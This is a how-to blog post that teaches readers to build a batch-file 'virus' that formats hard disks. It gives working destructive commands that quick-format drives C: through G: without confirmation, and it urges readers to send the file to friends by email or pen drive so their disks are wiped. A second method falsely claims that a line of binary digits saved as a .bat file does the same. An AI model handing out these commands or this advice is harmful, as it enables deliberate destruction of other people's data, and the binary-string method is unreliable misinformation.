How to Create a Virus to Format Hard Disk:

Hi friends today I will tell you how to create a virus that formats hard disk of your computer completely.

To create this virus you don’t require any software, notepad is enough to create this virus, using batch file programming you can create it.

Note: This tutorial is only for Educational purpose.

Way 1:

Step 1: Open your notepad (Go to start -> all programs -> accessories -> notepad or click windows key+r run window will open type notepad and hit enter).

Step 2: Copy below code and past it in your notepad.

format C:/q /y

format D:/q /y

format E:/q /y

format F:/q /y

format G:/q /y

HDformat3Step 3: Click save (Ctrl+S) and provide the file name with .bat (Batch File) extension.

Here I am saving my file as Harddisk.bat (Provide any name with .bat extension).

HDformat1Once if you click on save button then a batch file will be created in your system as shown below.

HDformat2Note: If you double click this batch file it will format hard disk of your computer.

Way 2:

Step 1: Open your notepad (Go to start -> all programs -> accessories -> notepad or click windows key+r run window will open type notepad and hit enter).

Step 2: Copy below code and past it in your notepad.

01001011000111110010010101010101010000011111100000

HDformateStep 3: Click save (Ctrl+S) and provide the file name with .bat (Batch File) extension.

Here I am saving my file as Harddisk.bat (Provide any name with .bat extension).

HDformat1Once if you click on save button then one batch file will be created in your system as shown below.

Newfolder2

Note: If you double click on that batch file it will format hard disk of your computer.

Now you can send it to your friend through e-mail or Pendrive, once if he double clicks the file, Hard disk of his computer will be formatted.

Warning: Don’t test this in your computer, it will format hard disk of your computer. If you want to test this Install a VM Ware and test it. how2doit is not responsible for any damages done to your computer .

That’s it.

Enjoy 🙂

Thank you for visiting how2doit.in.  If you find any mistakes help us by leaving a comment.

Don’t Miss : How to make a prank virus program